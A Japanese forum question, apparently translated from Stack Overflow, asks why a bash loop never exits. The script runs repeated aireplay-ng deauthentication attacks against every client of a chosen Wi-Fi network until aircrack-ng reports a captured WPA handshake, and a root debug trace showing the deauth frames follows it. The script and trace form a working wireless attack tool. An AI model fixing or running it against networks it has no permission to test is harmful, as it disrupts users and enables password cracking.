0

実際にデータが返されたときにスクリプトを強制終了するループまでこれを取得する方法を見つけようとしています。-z、-n などを試しましたが、うまくいきませんでした。このスクリプトは、特定の BSSID (csv 形式) の任意の airodump-ng 出力を取得し、$SUCCESS が 4way ハンドシェイクがキャプチャされたことを返すまで、5 分間で各ステーションを反復し、それらを無限に認証解除するように設計されています。

どんな助けでも大歓迎です!

#!/bin/bash
#Need to get the BSSID Name
echo "BSSID Name? (Case Sensitive): "
read BSSIDNAME

BSSID=$(cat "$1" | awk -F',' 'NR>2{print $1}' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d' | sed -n 1p)

until [ "$SUCCESS" -n ]; do
  for STATION in $(cat "$1" | awk -F',' 'NR>5{print $1}' | sed -e '/Station MAC/d' -e '/BSSID/d' | sed -e '/^.$/d' ); do
          aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
          sleep 5s;
  done
SUCCESS=$(aircrack-ng "${BSSIDNAME}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done

これがデバッグ出力です。ハンドシェイクを受信したにもかかわらず、ループしていることがわかります。

root@Pineapple:/sd/pcap# sh -x ./autodeauth.sh attackme-01.csv
+ echo BSSID Name? (Case Sensitive):
BSSID Name? (Case Sensitive):
+ read BSSIDNAME
attackme
+ + + sed -n 1p
awk -F, NR>2{print $1}
sed -e /Station MAC/d -e /BSSID/d -e /\n/d
+ cat attackme-01.csv
+ BSSID=00:11:11:11:11:11
+ [  -n ]
sh: -n: unknown operand
+ awk+  -F,sed+  NR>5{print $1} -esed
 /Station MAC/d -e -e /^.$/d /BSSID/d

+ cat attackme-01.csv
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:00 wlan1mon
05:41:31  Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:31  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
05:41:32  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|60 ACKs]
05:41:33  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|55 ACKs]
05:41:33  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|56 ACKs]
05:41:34  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:00] [ 0|58 ACKs]
+ sleep 5s
+ aireplay-ng --deauth 5 -a 00:11:11:11:11:11 -c DE:AD:BE:EF:00:01 wlan1mon
05:41:39  Waiting for beacon frame (BSSID: 00:11:11:11:11:11) on channel 6
05:41:40  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|49 ACKs]
05:41:40  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|56 ACKs]
05:41:41  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|60 ACKs]
05:41:42  Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:00:01] [ 0|63 ACKs]
+ sleep 5s
+ grep WPA (. handshake)
+ aircrack-ng attackme-01.cap -w fakewordlist
+ SUCCESS=   1  00:11:11:11:11:11  attackeme                     WPA (1 handshake)
+ [    1  00:11:11:11:11:11  attackme                     WPA (1 handshake) -n ]
sh: -n: unknown operand
4

1 に答える 1